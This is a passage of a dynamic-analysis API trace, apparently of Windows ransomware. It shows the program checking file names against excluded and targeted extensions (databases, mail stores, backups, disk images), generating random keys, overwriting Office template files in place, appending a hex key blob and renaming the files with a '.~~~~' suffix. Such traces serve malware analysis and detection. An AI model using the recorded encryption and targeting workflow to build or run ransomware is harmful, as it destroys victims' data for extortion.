	[0143.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".db") returned 0x0
	[0143.957] lstrlenW (lpString=".TXT") returned 4
	[0143.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".TXT") returned 0x0
	[0143.957] lstrlenW (lpString=".MDF") returned 4
	[0143.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".MDF") returned 0x0
	[0143.957] lstrlenW (lpString=".bdb") returned 4
	[0143.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".bdb") returned 0x0
	[0143.957] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.957] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.958] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.958] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.958] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26394818187) returned 1
	[0143.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf35eb70, dwHighDateTime=0x1d60e1e)) 
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd268
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd268 | out: hHeap=0x300000) returned 1
	[0143.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac128
	[0143.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac128 | out: hHeap=0x300000) returned 1
	[0143.959] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.959] GetLastError () returned 0x0
	[0143.959] GetLastError () returned 0x0
	[0143.959] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.959] GetLastError () returned 0x0
	[0143.959] GetLastError () returned 0x0
	[0143.959] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x2387, lpOverlapped=0x0) returned 1
	[0143.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdc79, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.961] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2387, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x2387, lpOverlapped=0x0) returned 1
	[0143.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.961] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.962] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.962] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.962] CloseHandle (hObject=0x10c) returned 1
	[0143.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b440
	[0143.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.~~~~")) returned 1
	[0143.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b440 | out: hHeap=0x300000) returned 1
	[0143.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.964] GetLastError () returned 0x0
	[0143.964] RtlWakeConditionVariable () returned 0x0
	[0143.964] GetCurrentThreadId () returned 0x9cc
	[0143.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".scr") returned 0x0
	[0143.964] lstrlenW (lpString=".cmd") returned 4
	[0143.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".cmd") returned 0x0
	[0143.965] lstrlenW (lpString=".dll") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dll") returned 0x0
	[0143.965] lstrlenW (lpString=".bat") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".bat") returned 0x0
	[0143.965] lstrlenW (lpString=".cpl") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".cpl") returned 0x0
	[0143.965] lstrlenW (lpString=".sys") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".sys") returned 0x0
	[0143.965] lstrlenW (lpString=".msc") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".msc") returned 0x0
	[0143.965] lstrlenW (lpString=".com") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".com") returned 0x0
	[0143.965] lstrlenW (lpString=".lnk") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".lnk") returned 0x0
	[0143.965] lstrlenW (lpString=".msp") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".msp") returned 0x0
	[0143.965] lstrlenW (lpString=".pif") returned 4
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".pif") returned 0x0
	[0143.965] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.967] lstrlenW (lpString=".sqb") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".sqb") returned 0x0
	[0143.967] lstrlenW (lpString=".ost") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".ost") returned 0x0
	[0143.967] lstrlenW (lpString=".txt") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".txt") returned 0x0
	[0143.967] lstrlenW (lpString=".mdt") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".mdt") returned 0x0
	[0143.967] lstrlenW (lpString=".BDB") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".BDB") returned 0x0
	[0143.967] lstrlenW (lpString=".eql") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".eql") returned 0x0
	[0143.967] lstrlenW (lpString=".DBF") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DBF") returned 0x0
	[0143.967] lstrlenW (lpString=".EQL") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".EQL") returned 0x0
	[0143.967] lstrlenW (lpString=".FDB") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".FDB") returned 0x0
	[0143.967] lstrlenW (lpString=".EDB") returned 4
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".EDB") returned 0x0
	[0143.967] lstrlenW (lpString=".DACPAC") returned 7
	[0143.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.968] lstrlenW (lpString=".VHD") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".VHD") returned 0x0
	[0143.968] lstrlenW (lpString=".DBV") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DBV") returned 0x0
	[0143.968] lstrlenW (lpString=".dacpac") returned 7
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dacpac") returned 0x0
	[0143.968] lstrlenW (lpString=".sdf") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".sdf") returned 0x0
	[0143.968] lstrlenW (lpString=".accdb") returned 6
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".accdb") returned 0x0
	[0143.968] lstrlenW (lpString=".DBX") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DBX") returned 0x0
	[0143.968] lstrlenW (lpString=".MDT") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".MDT") returned 0x0
	[0143.968] lstrlenW (lpString=".SQB") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".SQB") returned 0x0
	[0143.968] lstrlenW (lpString=".vhd") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".vhd") returned 0x0
	[0143.968] lstrlenW (lpString=".bac") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".bac") returned 0x0
	[0143.968] lstrlenW (lpString=".mdf") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".mdf") returned 0x0
	[0143.968] lstrlenW (lpString=".BAK") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".BAK") returned 0x0
	[0143.968] lstrlenW (lpString=".BAC") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".BAC") returned 0x0
	[0143.968] lstrlenW (lpString=".dbs") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dbs") returned 0x0
	[0143.968] lstrlenW (lpString=".vhdx") returned 5
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".vhdx") returned 0x0
	[0143.968] lstrlenW (lpString=".NDF") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".NDF") returned 0x0
	[0143.968] lstrlenW (lpString=".dat") returned 4
	[0143.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dat") returned 0x0
	[0143.969] lstrlenW (lpString=".DBS") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DBS") returned 0x0
	[0143.969] lstrlenW (lpString=".CKP") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".CKP") returned 0x0
	[0143.969] lstrlenW (lpString=".edb") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".edb") returned 0x0
	[0143.969] lstrlenW (lpString=".PST") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".PST") returned 0x0
	[0143.969] lstrlenW (lpString=".dbf") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dbf") returned 0x0
	[0143.969] lstrlenW (lpString=".SQL") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".SQL") returned 0x0
	[0143.969] lstrlenW (lpString=".pst") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".pst") returned 0x0
	[0143.969] lstrlenW (lpString=".dbv") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dbv") returned 0x0
	[0143.969] lstrlenW (lpString=".SDF") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".SDF") returned 0x0
	[0143.969] lstrlenW (lpString=".dtxs") returned 5
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dtxs") returned 0x0
	[0143.969] lstrlenW (lpString=".db3") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".db3") returned 0x0
	[0143.969] lstrlenW (lpString=".OST") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".OST") returned 0x0
	[0143.969] lstrlenW (lpString=".dbx") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dbx") returned 0x0
	[0143.969] lstrlenW (lpString=".DB3") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DB3") returned 0x0
	[0143.969] lstrlenW (lpString=".DAT") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DAT") returned 0x0
	[0143.969] lstrlenW (lpString=".VHDX") returned 5
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".VHDX") returned 0x0
	[0143.969] lstrlenW (lpString=".ndf") returned 4
	[0143.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".ndf") returned 0x0
	[0143.970] lstrlenW (lpString=".DB") returned 3
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DB") returned 0x0
	[0143.970] lstrlenW (lpString=".sql") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".sql") returned 0x0
	[0143.970] lstrlenW (lpString=".MYD") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".MYD") returned 0x0
	[0143.970] lstrlenW (lpString=".DBT") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DBT") returned 0x0
	[0143.970] lstrlenW (lpString=".ACCDB") returned 6
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.970] lstrlenW (lpString=".fdb") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".fdb") returned 0x0
	[0143.970] lstrlenW (lpString=".bak") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".bak") returned 0x0
	[0143.970] lstrlenW (lpString=".myd") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".myd") returned 0x0
	[0143.970] lstrlenW (lpString=".DTXS") returned 5
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".DTXS") returned 0x0
	[0143.970] lstrlenW (lpString=".ckp") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".ckp") returned 0x0
	[0143.970] lstrlenW (lpString=".dbt") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".dbt") returned 0x0
	[0143.970] lstrlenW (lpString=".db") returned 3
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".db") returned 0x0
	[0143.970] lstrlenW (lpString=".TXT") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".TXT") returned 0x0
	[0143.970] lstrlenW (lpString=".MDF") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".MDF") returned 0x0
	[0143.970] lstrlenW (lpString=".bdb") returned 4
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".bdb") returned 0x0
	[0143.970] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.971] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.971] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.971] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.972] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26396179601) returned 1
	[0143.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf384cd0, dwHighDateTime=0x1d60e1e)) 
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2588
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2588 | out: hHeap=0x300000) returned 1
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac320
	[0143.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac320 | out: hHeap=0x300000) returned 1
	[0143.972] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.972] GetLastError () returned 0x0
	[0143.973] GetLastError () returned 0x0
	[0143.973] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.973] GetLastError () returned 0x0
	[0143.973] GetLastError () returned 0x0
	[0143.973] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x222a, lpOverlapped=0x0) returned 1
	[0143.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffddd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.975] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x222a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x222a, lpOverlapped=0x0) returned 1
	[0143.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
